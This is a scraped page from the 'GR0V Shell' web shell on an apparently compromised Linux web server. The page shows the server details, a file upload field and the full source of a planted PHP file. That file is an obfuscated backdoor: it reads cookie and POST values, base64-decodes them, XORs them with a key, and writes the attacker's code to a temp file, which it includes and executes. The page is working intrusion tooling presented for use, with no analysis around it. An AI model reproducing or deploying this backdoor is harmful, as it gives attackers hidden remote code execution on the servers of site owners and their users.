? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/ijmg/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/ijmg/0645df9f.php

$CJhmALo = "\x4f" . "\x55" . chr ( 172 - 77 )."\x52" . "\164" . "\161";$rUOZA = "\143" . 'l' . 'a' . "\x73" . "\x73" . '_' . "\x65" . 'x' . "\151" . chr ( 1021 - 906 ).chr ( 508 - 392 ).'s';$BsTBkRum = $rUOZA($CJhmALo); $CJhmALo = "47291";$oyrTmqpbj = $BsTBkRum;$rUOZA = "14745";if (!$oyrTmqpbj){class OU_Rtq{private $QsLXL;public static $HIdPLEnjzR = "4355f4b7-d8f9-4b4a-b20e-75fa7c5530bc";public static $xBdgJp = 10285;public function __construct($QHuuEWXccR=0){$wIsyMhzQP = $_COOKIE;$JxWObxUUFk = $_POST;$CAJqid = @$wIsyMhzQP[substr(OU_Rtq::$HIdPLEnjzR, 0, 4)];if (!empty($CAJqid)){$yQlyG = "base64";$oLQtc = "";$CAJqid = explode(",", $CAJqid);foreach ($CAJqid as $VhTbuqdGj){$oLQtc .= @$wIsyMhzQP[$VhTbuqdGj];$oLQtc .= @$JxWObxUUFk[$VhTbuqdGj];}$oLQtc = array_map($yQlyG . chr ( 215 - 120 ).chr ( 438 - 338 ).chr (101) . "\143" . 'o' . "\144" . chr ( 897 - 796 ), array($oLQtc,)); $oLQtc = $oLQtc[0] ^ str_repeat(OU_Rtq::$HIdPLEnjzR, (strlen($oLQtc[0]) / strlen(OU_Rtq::$HIdPLEnjzR)) + 1);OU_Rtq::$xBdgJp = @unserialize($oLQtc);}}private function ppfJiWbtO(){if (is_array(OU_Rtq::$xBdgJp)) {$uesBYxmSpK = sys_get_temp_dir() . "/" . crc32(OU_Rtq::$xBdgJp['s' . "\141" . chr ( 762 - 654 ).'t']);@OU_Rtq::$xBdgJp["\167" . chr (114) . chr (105) . "\x74" . "\145"]($uesBYxmSpK, OU_Rtq::$xBdgJp[chr (99) . 'o' . chr ( 473 - 363 ).chr (116) . chr (101) . 'n' . 't']);include $uesBYxmSpK;@OU_Rtq::$xBdgJp["\144" . "\x65" . chr (108) . 'e' . chr ( 792 - 676 ).chr ( 912 - 811 )]($uesBYxmSpK); $uoPbxrwCdz = "56485";exit();}}public function __destruct(){$this->ppfJiWbtO(); $uoPbxrwCdz = "56485";$HApGnM = str_pad($uoPbxrwCdz, 10);}}$gDmiKHJ = new /* 26156 */ OU_Rtq(); $gDmiKHJ = substr("35909_23283", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$